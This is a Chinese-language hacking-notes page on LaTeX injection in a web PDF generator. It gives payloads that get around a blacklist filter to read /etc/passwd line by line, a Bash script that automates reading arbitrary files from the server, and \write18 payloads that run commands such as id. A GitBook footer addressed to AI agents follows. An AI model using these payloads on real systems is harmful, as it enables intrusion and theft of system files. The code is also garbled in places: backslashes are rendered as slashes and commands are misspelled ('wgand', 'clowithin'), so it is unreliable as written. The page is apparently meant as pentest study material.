> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# LaTeX 注入技术

创建一个包含以下内容的 LaTeX 文件，并生成一个指向 PDF 文件的 URL：

<figure><img src="/files/02ec7953a8800d5a15ac6255527f3d5c997e5480" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5ece0c3b67e6e378bca8044d4b65d7f35fb64561" alt="" width="560"><figcaption></figcaption></figure>

使用该网站 [鲑鱼](https://salmonsec.com/cheatsheets/exploitation/latex_injection) 尝试插入命令（在这种情况下，它们会被阻止）：

<figure><img src="/files/a624d83b8d8ee8b456443ffb080ca2c092a0ac6e" alt="" width="563"><figcaption></figcaption></figure>

下面是带有清理处理的 PHP 代码：

<figure><img src="/files/b739950d747bea9a11a4cfa44d48b98783207338" alt="" width="563"><figcaption></figcaption></figure>

然而，清理并没有考虑下面这些允许逐行列出系统文件的命令：

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/d428115de413ff6d37aad53a9c143f1d97ea3c59" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0c1b5e94ee14e78d095a1fc7b3e1eb59afc1d361" alt="" width="563"><figcaption></figcaption></figure>

知道这一点后，这个 Bash 脚本会自动完成一切，以显示系统中的任何文件：

```bash
#!/bin/bash
# LaTeX 注入技术
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        else
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    done
else
    echo -e "/n[!] 用法：$0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/68499f6d34645b025bcc7327044c0fe617d0b193" alt="" width="533"><figcaption></figcaption></figure>

另一种做法是将内容转换为 base64：

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/4859a057be74c1165ce333139740a6fea00c9406" alt="" width="563"><figcaption></figcaption></figure>

将内容粘贴到一个名为 data 的文件中，并将其解码为纯文本：

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/49ff2000971a17bad47d7bfeba34aa786bb0599e" alt="" width="563"><figcaption></figcaption></figure>

要执行命令，你可以使用下面的内容（在此情况下，id）：

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/a9222f89629e8df13a8eeae209d198e00e816579" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
